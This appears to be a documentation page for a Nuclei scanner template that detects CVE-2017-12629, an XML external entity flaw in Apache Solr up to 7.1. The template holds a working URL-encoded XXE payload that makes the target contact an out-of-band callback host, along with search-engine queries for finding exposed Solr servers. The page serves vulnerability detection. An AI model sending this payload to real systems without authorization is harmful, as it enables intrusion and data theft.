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Apache Solr <= 7.1 - XML Entity Injection

ID: CVE-2017-12629

Severity: critical

Author: dwisiswant0

Tags: cve2017,cve,oast,xxe,vulhub,solr,apache

Description

Section titled “Description”

Apache Solr with Apache Lucene before 7.1 is susceptible to remote code execution by exploiting XXE in conjunction with use of a Config API add-listener command to reach the RunExecutableListener class. Elasticsearch, although it uses Lucene, is NOT vulnerable to this. Note that the XML external entity expansion vulnerability occurs in the XML Query Parser which is available, by default, for any query request with parameters deftype=xmlparser and can be exploited to upload malicious data to the /upload request handler or as Blind XXE using ftp wrapper in order to read arbitrary local files from the Solr server. Note also that the second vulnerability relates to remote code execution using the RunExecutableListener available on all affected versions of Solr.

YAML Source

Section titled “YAML Source”
id: CVE-2017-12629


info:
  name: Apache Solr <= 7.1 - XML Entity Injection
  author: dwisiswant0
  severity: critical
  description: Apache Solr with Apache Lucene before 7.1 is susceptible to remote code execution by exploiting XXE in conjunction with use of a Config API add-listener command to reach the RunExecutableListener class. Elasticsearch, although it uses Lucene, is NOT vulnerable to this. Note that the XML external entity expansion vulnerability occurs in the XML Query Parser which is available, by default, for any query request with parameters deftype=xmlparser and can be exploited to upload malicious data to the /upload request handler or as Blind XXE using ftp wrapper in order to read arbitrary local files from the Solr server. Note also that the second vulnerability relates to remote code execution using the RunExecutableListener available on all affected versions of Solr.
  impact: |
    Successful exploitation of this vulnerability could lead to information disclosure, denial of service.
  remediation: |
    Upgrade to a patched version of Apache Solr (7.2 or higher) or apply the recommended security patches.
  reference:
    - https://twitter.com/honoki/status/1298636315613974532
    - https://github.com/vulhub/vulhub/tree/master/solr/CVE-2017-12629-XXE
    - https://github.com/vulhub/vulhub/tree/master/solr/CVE-2017-12629-RCE
    - https://nvd.nist.gov/vuln/detail/CVE-2017-12629
    - http://mail-archives.us.apache.org/mod_mbox/www-announce/201710.mbox/%3CCAOOKt51UO_6Vy%3Dj8W%3Dx1pMbLW9VJfZyFWz7pAnXJC_OAdSZubA%40mail.gmail.com%3E
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2017-12629
    cwe-id: CWE-611
    epss-score: 0.97427
    epss-percentile: 0.99938
    cpe: cpe:2.3:a:apache:solr:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: apache
    product: solr
    shodan-query:
      - cpe:"cpe:2.3:a:apache:solr"
      - http.title:"apache solr"
      - http.title:"solr admin"
    fofa-query:
      - title="solr admin"
      - title="apache solr"
    google-query:
      - intitle:"apache solr"
      - intitle:"solr admin"
  tags: cve2017,cve,oast,xxe,vulhub,solr,apache


http:
  - raw:
      - |
        GET /solr/admin/cores?wt=json HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /solr/{{core}}/select?q=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%3C!DOCTYPE%20root%20%5B%0A%3C!ENTITY%20%25%20remote%20SYSTEM%20%22https%3A%2F%2F{{interactsh-url}}%2F%22%3E%0A%25remote%3B%5D%3E%0A%3Croot%2F%3E&wt=xml&defType=xmlparser HTTP/1.1
        Host: {{Hostname}}


    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"


    extractors:
      - type: regex
        name: core
        group: 1
        regex:
          - '"name"\:"(.*?)"'
        internal: true
# digest: 4a0a00473045022010a7eebd5074d0dd117feca00d5431722c07d73692181e13e1f02900fe14be93022100ff75a1ad0ff313928ccf9765a6bb8c0abda82b22019f3c5d10fb31ff953df318:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2017/CVE-2017-12629.yaml"

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